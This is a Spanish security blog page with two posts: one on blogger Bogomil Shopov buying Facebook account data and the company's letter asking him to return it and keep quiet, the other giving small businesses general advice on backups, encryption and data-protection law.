Para sumar mas salsa a este problema y tras la publicación de un artículo en su blog, Bogomil recibió una llamada de la red social que lo instaba a enviarles los datos y eliminar la entrada, cosa que éste rechazó y publicó una nueva entrada comentando la llamada.

Al parecer desde Facebook afirman que los datos comprados son de dominio público, pero viendo el tono en que piden a Shopov que elimine todo rastro de ellos me hace sospechar.

A continuación podeis leer un fragmento de la carta:
“Now we would like you to send us this file, delete it, tell us if you have given a copy of it to someone, give us the website from which you bought it including all transactions with it and the payment system and remove a couple of things from your blog. Oh and by the way, you are not allowed to disclose any part of this conversation; it is a secret that we are even having this conversation”.
Traducción: "Ahora nos gustaría que nos enviases este archivo, lo borres, nos digas si has enviado una copia a alguien, nos des la página web desde donde la compraste incluyendo todas las transacciones con él y el sistema de pago y elimines un par de cosas de tu blog. Oh y por cierto, no estás autorizado a revelar ninguna parte de esta conversación; es un secreto incluso que hayamos tenido esta conversación.
Leyendo el fragmento me hace gracia ver el modo que tienen en Facebook de tratar este tipo de acontecimientos. Es de suponer que tras la publicación de la última entrada en el blog de Shopov Facebook deberá publicar algún tipo de explicación al suceso por lo que habrá que estar pendiente de los acontecimientos.

Para los usuarios de Facebook, las cuentas publicadas son en su mayoría de Estados Unidos, Canadá, Reino Unido y Europa, por lo que es aconsejable cambiar la contraseña para curarse en salud.

PYMES y la gestión de la información

PYMES seguridad datos
Hace unos días por casualidades de la vida al acudir a una cita con mi dentista fui testigo de una extraña situación, la clínica había sido asaltada por unos ladrones - que no se llevaron nada - la noche anterior y durante mi espera pude escuchar todas las conversaciones post-robo. Tras comprobar que el equipo sanitario y objetos de valor continuaban en su sitio pude escuchar las frases "El portátil sigue aquí" y "Los pendrives con los historiales también están aquí" a lo que inmediatamente mi cabeza empezó a valorar la situación de "¿Y si no estuviesen ahí ...?", en primer lugar decir que no conozco la situación en la que se encontraba almacenada la información en este caso, pero la preocupación por los "pendrives de historiales" me hacía intuir que no existía un backup de la información, por lo que me gustaría dedicar esta entrada a todas esas PYMES que descuidan el manejo de la información pensando que nunca va a pasarles nada y mostrar este caso concreto en el que en unas horas toda esa información almacenada podía haberse perdido.

En primer lugar indicar que es el deber de todo empresario que se vea obligado a almacenar información confidencial y/o personal el priorizar la seguridad de esos datos para cumplir con la ley organica de proteccion de datos.

Es de lectura obligada el apartado de los deberes del responsable de la información que provee la Agencia Española de Protección de Datos. Ademas de las guías para el tratamiento de ficheros y la seguridad de datos:





Independientemente de lo que aconseje la legislación vigente el sentido común es siempre nuestro mejor aliado por lo que voy a listar una serie de consejos que nos permitirán salvaguardar los datos de nuestra empresa en caso de cualquier incidencia:

  • Implementar unas políticas que permitan gestionar el almacenamiento, movimiento y control de incidencias. Esto es muy específico para cada empresa, por lo que no hay un manual preestablecido para hacerlo. 

  • Implementar unas pautas para mantener copias de seguridad actualizadas, preferentemente en un servidor remoto -teniendo en cuenta lo que se hace- para evitar incidencias que puedan ocurrir en el lugar de trabajo como incendios, inundaciones,etc.
  • Limitar el uso de dispositivos de almacenamiento portátil y en caso necesidad utilizar estos dispositivos debidamente protegidos con encriptación -trataremos este tema en una futura entrada-

ShellShock Labs es un blog dedicado a seguridad y hacking en general, un lugar donde buscamos que la gente participe con sus opiniones.

Síguenos




Posts Populares